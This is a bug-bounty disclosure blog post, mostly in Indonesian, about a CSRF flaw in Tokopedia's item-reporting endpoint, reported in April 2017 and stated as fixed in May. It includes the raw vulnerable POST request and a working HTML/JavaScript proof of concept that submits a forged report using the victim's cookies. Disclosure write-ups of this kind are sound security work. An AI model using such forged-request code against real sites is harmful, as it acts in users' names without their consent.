Tokopedia - CSRF On Report Item

CSRF Issue On Tokopedia, 

List of bug on Tokopedia :
-
-
-
-
-
Hi,
saya menemukan CSRF di Laporkan barang

Pendahuluan
Bug ini untuk melaporkan barang dari toko lain dikarenakan tidak ada CSRF token dalam request

Vuln Request:

POST /ajax/product-e4.pl HTTP/1.1
Host: www.tokopedia.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:51.0) Gecko/20100101 Firefox/51.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Content-Type: application/x-www-form-urlencoded
Content-Length: 162
Origin: null
Cookie: <some cookie>
Connection: close

type=4&element_id=170328516&r_type=9&r_message=Seleernya+jahat%2C+aku+gadikasih+diskon%2C+padahal+beli+banyaaak+%3A(+&click_name=submit&action=event_dialog_report

Note : element_id adalah sebuah id dari barang

Poc Code:
<script>
      function getMe(){
        // retrieve page content
        var xhr = new XMLHttpRequest();

        // now execute the CSRF attack
        xhr.open("POST", "https://www.tokopedia.com/ajax/product-e4.pl", true);
        xhr.withCredentials="true";
        xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
        xhr.send('type=4&element_id=170328516&r_type=9&r_message=Seleernya+jahat%2C+aku+gadikasih+diskon%2C+padahal+beli+banyaaak+%3A(+&click_name=submit&action=event_dialog_report');
        }
</script>
<button onclick="getMe();">Let's Rock</button>

Step to reproduce,
- save to html
- eksekusi
- barang akan dilaporkan

Kenapa bug ini bisa terjadi ?
Karena tidak ada token dalam mengirimkan sebuah POST request untuk melaporkan barang

Jika membutuhkan video, saya upload di :
https://youtu.be/3P2b96v-GBc  (video sudah saya set pribadi)

Timeline: 
- 7 April 2017 => Reporting
- 10 May => Fixing & Ask Document
- Waiting Bounty ( Will be edited )

Comments

Popular posts from this blog

Missing CSRF Token On Add Admin [Popoji CMS]

Session not expired When logout [partners.uber.com]

Open Redirect On Codepolitan.com